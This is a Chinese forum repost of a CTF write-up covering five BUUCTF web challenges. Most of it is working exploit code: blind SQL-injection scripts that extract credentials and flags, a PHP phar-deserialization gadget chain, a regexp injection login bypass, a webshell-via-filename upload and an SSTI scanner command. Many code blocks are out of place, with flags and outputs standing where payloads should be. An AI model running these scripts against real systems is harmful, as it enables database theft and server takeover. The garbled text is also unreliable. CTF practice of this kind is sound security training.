BUUCTF-WEB(81-85)

打印 上一主题 下一主题

主题 837|帖子 837|积分 2526

[CISCN2019 总决赛 Day2 Web1]Easyweb

参考:
[CISCN2019 总决赛 Day2 Web1]Easyweb-CSDN博客
[BUUCTF题解][CISCN2019 总决赛 Day2 Web1]Easyweb - Article_kelp - 博客园 (cnblogs.com)
看robots.txt发现有备份源码

然后我们又在看源码的地方发现了疑似注入的地方

那我们就把这个源码下载下来看一下image.php.bak
  1. <?php
  2. include "config.php";
  3. $id=isset($_GET["id"])?$_GET["id"]:"1";
  4. $path=isset($_GET["path"])?$_GET["path"]:"";
  5. $id=addslashes($id);
  6. $path=addslashes($path);
  7. $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
  8. $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
  9. $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
  10. $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
  11. $path="./" . $row["path"];
  12. header("Content-Type: image/jpeg");
  13. readfile($path);
复制代码
得到账号密码
  1. import requests
  2. url = "http://96c2eaee-b021-44ed-bc9d-664271afd669.node5.buuoj.cn:81/image.php?id=\\0&path="
  3. payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23" # 爆用户名
  4. payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" # 爆密码
  5. result = ""
  6. for i in range(1, 100):
  7.     l = 1
  8.     r = 130
  9.     mid = (l + r) >> 1
  10.     while (l < r):
  11.         payloads = payload.format(i, mid)
  12.         print(url + payloads)
  13.         html = requests.get(url + payloads)
  14.         if "JFIF" in html.text:
  15.             l = mid + 1
  16.         else:
  17.             r = mid
  18.         mid = (l + r) >> 1
  19.     result += chr(mid)
  20.     print(result)
复制代码
登陆进来是一个文件上传

任意传了一个是以.php结尾的

然后就是直接写马,因为提示说是file name被保存在里面,所以我们需要在文件名写马

蚁剑连接 ,根目录找到flag
  1. admin
  2. 16b3dff770f1bbec6c28
复制代码
[GYCTF2020]Ezsqli

参考:
[GYCTF2020]Ezsqli(无列名注入)-CSDN博客
先输入以下语句,输出的是Nu1L
  1. flag{40bd5863-b69e-470f-a6e8-f2a20da19a00}
复制代码

再试试这个,发现回显V&N
  1. 2||1=1
复制代码
抓包发现是POST传参,参数为id,然后我们搞一下脚本,然后测试得到information被过滤了
然后此处我们用的这个代替表sys.schema_table_statistics_with_buffer
  1. 2||1=2
复制代码
改进版的二分法:
  1. import requests
  2. url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
  3. payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}'
  4. result=''
  5. for i in range(1,100):
  6.    for j in range(32,127):
  7.        payloads=payload.format(i,j)
  8.        data={'id':payloads}
  9.        re = requests.post(url=url, data=data)
  10.        if 'Nu1L' in re.text:
  11.            result += chr(j)
  12.    print(result)
复制代码

爆破出来的表名字为
  1. import requests
  2. url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
  3. payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1}'
  4. result=''
  5. for i in range(1,100):
  6.    l = 1
  7.    r = 130
  8.    mid = (l + r) >> 1
  9.    while(l<r):
  10.        payloads=payload.format(i,mid)
  11.        data={'id':payloads}
  12.        re = requests.post(url=url, data=data)
  13.        if 'Nu1L' in re.text:
  14.            l = mid + 1
  15.        else:
  16.            r = mid
  17.        mid = (l+r)>>1
  18.    result += chr(mid)
  19.    print(result)
复制代码
然后因为information被过滤了,我们开始考虑无列名注入
这里我们使用ascii偏移的使用,详情可以看[GYCTF2020]Ezsqli(无列名注入)-CSDN博客
  1. users233333333333333,f1ag_1s_h3r3_hhhhh
复制代码
这边也是使用师傅的脚本了
  1. 字符串比较大小时,先不论长度,先比较第一个字符的ascii码大小,如果相等才会比较下一位,我们就可以利用这点,逐步爆出我们想要的数据
复制代码
然后也是莫名其妙的跑不出来,跑到一半就出了bug
最后拿这个师傅的跑的出来upfine的博客 (cnblogs.com)
  1. import requests
  2. url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
  3. def add(flag):
  4.     res = ''
  5.     res += flag
  6.     return res
  7. flag = ''
  8. for i in range(1,200):
  9.     for char in range(32, 127):
  10.         hexchar = add(flag + chr(char))
  11.         payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
  12.         #print(payload)
  13.         data = {'id':payload}
  14.         r = requests.post(url=url, data=data)
  15.         text = r.text
  16.         if 'Nu1L' in r.text:
  17.             flag += chr(char-1)
  18.             print(flag)
  19.             break
复制代码
  1. import requests
  2. import time
  3. def get_database(url,strings):
  4.     database_length = 1
  5.     DBname = ''
  6.     for i in range(1,100):
  7.         data = {
  8.             'id': "1&&(length(database()))="+str(i)
  9.         }
  10.         rs = requests.post(url,data)
  11.         if 'Nu1L' in rs.text:
  12.             database_length = i
  13.             print('数据库长度为:'+str(database_length))
  14.             break
  15.     for i in range(1,database_length+1):
  16.         for one_char in strings:
  17.             data = {
  18.                 'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
  19.             }
  20.             rs = requests.post(url,data)
  21.             if 'Nu1L' in rs.text:
  22.                 DBname = DBname + one_char
  23.                 print("\r", end="")
  24.                 print('正在获取数据库名称,当前已获取到'+str(i)+'位 | '+DBname.lower(), end='')
  25.                 break
  26. def get_tablename(url,strings):
  27.     TBname = ''
  28.     print('表名字读取中...')
  29.     for i in range(1, 100):
  30.         for one_char in strings:
  31.             data = {
  32.                 'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
  33.                     i) + ",1)='"+str(one_char)+"'"
  34.             }
  35.             time.sleep(0.05)
  36.             rs = requests.post(url,data)
  37.             if 'Nu1L' in rs.text:
  38.                 TBname = TBname + one_char
  39.                 print("\r", end="")
  40.                 print('表的名字为:' + TBname.lower(), end='')
  41.                 break
  42.             if 'Nu1L' not in rs.text and one_char == '~':
  43.                 return ''
  44. def get_column(url,strings):
  45.     column_name = ''
  46.     tmp = ''
  47.     print('\nflag信息读取中...')
  48.     for i in range(1, 100):
  49.         for one_char in strings:
  50.             one_char = column_name + one_char
  51.             data = {
  52.                 'id':"1&&((select 1,'"+str(one_char)+"') > (select * from f1ag_1s_h3r3_hhhhh))"
  53.             }
  54.             time.sleep(0.05)
  55.             rs = requests.post(url,data)
  56.             if 'Nu1L' not in rs.text:
  57.                 tmp = one_char
  58.             if 'Nu1L' in rs.text:
  59.                 column_name = tmp
  60.                 print("\r", end="")
  61.                 print('flag为:' + column_name.lower(), end='')
  62.                 break
  63. if __name__ == '__main__':
  64.     url = 'http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/index.php'
  65.     strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
  66.     get_database(url,strings)
  67.     get_tablename(url,strings)
  68.     #原来是想着获取column名称,但是未获取到,但是又懒得改名称,所以使用的是column
  69.     get_column(url,strings)
复制代码
[SWPUCTF 2018]SimplePHP

参考:[SWPUCTF 2018]SimplePHP - 何止(h3zh1) - 博客园 (cnblogs.com)
phar反序列化+两道CTF例题_ctf phar-CSDN博客
打开题目有个上传,我试了试然后没有回显路径,同时也得到提示flag.php

然后来到检察文件界面,也看不到我们上传的文件,但是url有个参数,可能是文件包含

然后我试着以下测试,发现是可以读取到源码的
  1. flag{060c7e15-e4a7-4b52-900b-e8ece5d972dc}
复制代码

然后就是可以把源码都保存下来,然后最关键的就是class.php
  1. [/code]然后无unserialize(),没有过滤phar,而且还存在文件上传
  2. [align=center][img]https://img2023.cnblogs.com/blog/3439569/202406/3439569-20240616102410715-1240223328.png[/img][/align]
  3. 然后我们先看怎么构造链子,我们先使用C1e4r::__destruct()里面的 echo $this->test;,然后把这个C1e4r->test=new Show(),然后这个会触发Show::__toString()方法,然后我们这时间需要把Show->str['str']=new Test,那么$this->str['str']->source就是相称于Test->source,而Test类里面没有这个变量,就会触发Test::__get(source),然后紧接着触发Test::get(source)这个方法,然后设置$this->params["source"]="/var/www/html/f1ag.php",就会执行$this>file_get("/var/www/html/f1ag.php"),然后得到一个base64的返回值,
  4. [code]
复制代码
然后会生成一个exp.phar的文件,我们抓包修改后缀上传,然后去upload目录去看名字

然后再来到检察文件这里
  1. <?php
  2. class C1e4r
  3. {
  4.     public $test;
  5.     public $str;
  6. }
  7. class Show
  8. {
  9.     public $source;
  10.     public $str;
  11. }
  12. class Test
  13. {
  14.     public $file;
  15.     public $params;
  16. }
  17. $c1e4r = new C1e4r();
  18. $show = new Show();
  19. $test = new Test();
  20. $test->params['source'] = "/var/www/html/f1ag.php";
  21. $c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
  22. $show->str['str'] = $test;  //利用 $this->str['str']->source;
  23. $phar = new Phar("exp.phar"); //.phar文件
  24. $phar->startBuffering();
  25. $phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
  26. $phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
  27. $phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
  28. $phar->stopBuffering();
  29. ?>
复制代码

最后base64解码得到flag
  1. ?file=phar://upload/59dfc3cff6aa945215710eef25f8c440.jpg
复制代码
[NCTF2019]SQLi

参考:[BUUCTF题解][NCTF2019]SQLi - Article_kelp - 博客园 (cnblogs.com)
[NCTF2019]SQLi(regexp注入) | (guokeya.github.io)
去访问 /robots.txt

然后访问/hint.txt,然后是一个黑名单以及登录需要的条件

然后我们可以用\转义字符转义一个单引号,然后使用;%00截断,然后构成闭合
  1. flag{7062064e-aec6-4c75-93e6-ff2a0171583d}
复制代码
然后我们构造payload试一下,查询成功了,但是404
  1. sqlquery : select * from users where username='\' and passwd=';%00'
  2. sqlquery : select * from users where username=' \'and passwd=' ;%00'
  3. 变成了只查询username字段
复制代码

那我们就可以用regexp正则来得到密码,由于空格被过滤了,我们用 %09
  1. username=\&passwd=||1;%00
复制代码
发现查询失败,并没有跳转,然后我们写脚本盲注一下,然后我写失败了,还是做不到,只能跑出第一个字母,很离谱(后面也是搞出来了,放在第二个)
  1. username=\&passwd=||%09passwd%09regexp%09"^f";%00
复制代码
  1. import requests
  2. from urllib import parse
  3. import string
  4. import time
  5. str1 = string.ascii_letters+'_'+string.digits
  6. url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81//index.php'
  7. flag='79'
  8. a=parse.unquote('%00')
  9. for i in range(50):
  10.     for i in str1:
  11.         data={"username":"\",
  12.               "passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a
  13.             }
  14.         r=requests.post(url=url,data=data)
  15.         if 'welcome.php' in r.text:
  16.             flag+=hex(ord(i)).replace('0x','')
  17.             print(flag)
  18.             break
  19.         time.sleep(0.5)
  20.         #防止429
复制代码
  1. import requests
  2. import urllib
  3. url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81/'
  4. flag=''
  5. s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
  6. for i in range(1,100):
  7.    for j in s:
  8.         alpha = flag
  9.         alpha += j
  10.         data1='||/**/passwd/**/regexp/**/"^{0}";{1}'.format(alpha,urllib.parse.unquote('%00'))
  11.         data={'username':'\\','passwd':data1}
  12.         re = requests.post(url=url, data=data)
  13.         if 'welcome.php' in re.text:
  14.             flag += j
  15.             print(flag)
  16.             break
复制代码
然后16进制转字符
  1. 796f755f77696c6c5f6e657665725f6b6e6f7737373838393930
复制代码
然后用户名任意填一个,用密码登录

RootersCTF2019]I_❤️_Flask

打开页面,啥都没有

然后推测是SSTI但是没有找到参数
然后直接fenjing梭哈了
  1. you_will_never_know7788990
复制代码
  1. python -m fenjing scan --url http://1e86ca3d-bdb4-41d6-adda-f9719179a888.node5.buuoj.cn:81/
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

大连全瓷种植牙齿制作中心

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表